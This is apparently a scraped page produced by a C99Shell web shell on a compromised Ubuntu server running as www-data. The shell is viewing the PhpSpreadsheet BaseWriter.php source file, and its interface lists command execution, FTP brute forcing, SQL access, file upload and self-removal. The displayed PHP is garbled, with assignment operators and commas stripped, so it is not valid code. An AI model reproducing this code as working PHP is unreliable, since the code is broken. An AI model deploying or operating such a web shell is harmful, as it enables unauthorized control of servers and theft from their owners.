!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/   drwxr-xr-x
Free 13.36 GB of 57.97 GB (23.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BaseWriter.php (2.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Writer;

abstract class 
BaseWriter implements IWriter
{
    
/**
     * Write charts that are defined in the workbook?
     * Identifies whether the Writer should write definitions for any charts that exist in the PhpSpreadsheet object;.
     *
     * @var bool
     */
    
protected $includeCharts false;

    
/**
     * Pre-calculate formulas
     * Forces PhpSpreadsheet to recalculate all formulae in a workbook when saving, so that the pre-calculated values are
     * immediately available to MS Excel or other office spreadsheet viewer when opening the file.
     *
     * @var bool
     */
    
protected $preCalculateFormulas true;

    
/**
     * Use disk caching where possible?
     *
     * @var bool
     */
    
private $useDiskCaching false;

    
/**
     * Disk caching directory.
     *
     * @var string
     */
    
private $diskCachingDirectory './';

    
/**
     * @var resource
     */
    
protected $fileHandle;

    
/**
     * @var bool
     */
    
private $shouldCloseFile;

    public function 
getIncludeCharts()
    {
        return 
$this->includeCharts;
    }

    public function 
setIncludeCharts($pValue)
    {
        
$this->includeCharts = (bool) $pValue;

        return 
$this;
    }

    public function 
getPreCalculateFormulas()
    {
        return 
$this->preCalculateFormulas;
    }

    public function 
setPreCalculateFormulas($pValue)
    {
        
$this->preCalculateFormulas = (bool) $pValue;

        return 
$this;
    }

    public function 
getUseDiskCaching()
    {
        return 
$this->useDiskCaching;
    }

    public function 
setUseDiskCaching($pValue$pDirectory null)
    {
        
$this->useDiskCaching $pValue;

        if (
$pDirectory !== null) {
            if (
is_dir($pDirectory)) {
                
$this->diskCachingDirectory $pDirectory;
            } else {
                throw new 
Exception("Directory does not exist: $pDirectory");
            }
        }

        return 
$this;
    }

    public function 
getDiskCachingDirectory()
    {
        return 
$this->diskCachingDirectory;
    }

    
/**
     * Open file handle.
     *
     * @param resource|string $filename
     */
    
public function openFileHandle($filename): void
    
{
        if (
is_resource($filename)) {
            
$this->fileHandle $filename;
            
$this->shouldCloseFile false;

            return;
        }

        
$fileHandle $filename fopen($filename'wb+') : false;
        if (
$fileHandle === false) {
            throw new 
Exception('Could not open file "' $filename '" for writing.');
        }

        
$this->fileHandle $fileHandle;
        
$this->shouldCloseFile true;
    }

    
/**
     * Close file handle only if we opened it ourselves.
     */
    
protected function maybeCloseFileHandle(): void
    
{
        if (
$this->shouldCloseFile) {
            if (!
fclose($this->fileHandle)) {
                throw new 
Exception('Could not close file after writing.');
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--